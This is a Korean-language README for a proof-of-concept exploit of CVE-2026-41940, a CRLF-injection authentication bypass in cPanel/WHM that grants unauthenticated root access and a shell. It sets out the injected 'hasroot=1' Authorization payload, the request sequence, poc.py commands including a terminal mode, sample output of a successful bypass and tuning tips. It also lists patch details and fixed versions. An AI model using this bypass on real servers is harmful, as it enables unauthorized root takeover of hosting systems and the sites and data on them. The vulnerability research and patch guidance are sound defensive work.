
CVE-2026-41940에 대한 개념 증명 익스플로잇으로, CRLF 주입을 통한 cPanel/WHM 인증 우회로 인증되지 않은 루트 액세스와 대화형 셸을 가능하게 하는 치명적인 취약점입니다.
작성자: SilySec
원본 연구: Sina Kheirkhah (@SinSinology) / watchTowr Labs
심각도: 치명적 (CVSS 9.8)
유형: CRLF 주입 → 인증 우회 → 루트 셸
CVE-2026-41940은 cPanel/WHM의 치명적인 취약점으로, 인증되지 않은 공격자가 cpsrvd의 Basic 인증 관리자에 CRLF 주입을 통해 완전한 루트 액세스를 얻을 수 있게 합니다.
이 결함은 세 가지 약점을 결합합니다:
Cpanel/Session.pm의 saveSession() 함수는 쿠키에 <ob> 키가 없을 때 디스크에 쓰기 전에 \r\n 문자를 삭제하지 않습니다.<obHEX> 세그먼트가 없으면 세션별 인코더가 활성화되지 않아 CRLF 바이트가 세션 파일에 평문으로 기록됩니다.Cpanel::Session::Modify::save()는 원시 파일을 다시 읽고 주입된 CRLF 키를 JSON 캐시로 승격시켜 세션을 완전히 인증된 상태로 만듭니다.POST /login/?login_only=1 [잘못된 비밀번호]
└─► cookie: whostmgrsession=:ID,<obHEX>
,<obHEX> 제거 → :ID [인코더 비활성화]
GET / + Cookie: :ID
+ Authorization: Basic root:x\r\nhasroot=1\r\n...
└─► cpsrvd가 원시 CRLF 바이트를 세션 파일에 기록
GET /scripts2/listaccts + Cookie: :ID [보안 토큰 없음]
└─► do_token_denied() → Cpanel::Session::Modify::save()
└─► hasroot=1, tfa_verified=1로 JSON 캐시 재구성
→ 루트로 인증된 세션
pip install requests
# --terminal 모드용 (선택 사항):
pip install paramiko
python3 poc.py --target https://TARGET:2087
python3 poc.py --target https://TARGET:2087 --terminal
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.example.com
[*] target : https://1.2.3.4:2087
[*] canonical: cpanel.example.com
[1/4] 사전 인증 세션 생성 중 ...
session = :AbCdEfGh...,0123456789abcdef
stripped = :AbCdEfGh...
[2/4] CRLF 페이로드 주입 중 ...
307 → 토큰 유출 = /cpsess1234567890
[3/4] 캐시 전파 트리거 중 ...
do_token_denied → Cpanel::Session::Modify::save() 실행됨
[4/4] 루트 액세스 확인 중 ...
✔ 인증 우회 확인됨
cPanel 버전 : 11.136.0.5
cookie : whostmgrsession=%3AAbCdEfGh...
WHM URL : https://1.2.3.4:2087/cpsess1234567890/
Host 헤더에 사용해야 합니다 (IP 아님) — cpsrvd는 호스트 이름에 따라 세션을 다르게 처리합니다9999999999여야 합니다 (고정, 먼 미래) — 현재 타임스탬프는 실패합니다successful_internal_auth_with_timestamp가 먼저 와야 합니다패치는 filter_sessiondata() 호출을 saveSession() 내부로 이동하고 <ob> 키가 없을 때 조건부 인코딩을 추가하여 평문 기록을 방지합니다.
위에 나열된 수정 버전으로 cPanel/WHM을 즉시 업데이트하십시오.
이 도구는 연구 및 내부 테스트 목적으로만 제공됩니다. 명시적 권한 없이 시스템에 사용하는 것은 불법입니다. SilySec은 오용으로 인한 책임을 지지 않습니다.
| 브랜치 | 마지막 취약 버전 | 수정 버전 |
|---|
| 110.0.x | 11.110.0.96 | 11.110.0.97 |
| 118.0.x | 11.118.0.62 | 11.118.0.63 |
| 126.0.x | 11.126.0.53 | 11.126.0.54 |
| 132.0.x | 11.132.0.28 | 11.132.0.29 |
| 134.0.x | 11.134.0.19 | 11.134.0.20 |
| 136.0.x | 11.136.0.5 | 11.136.0.6 |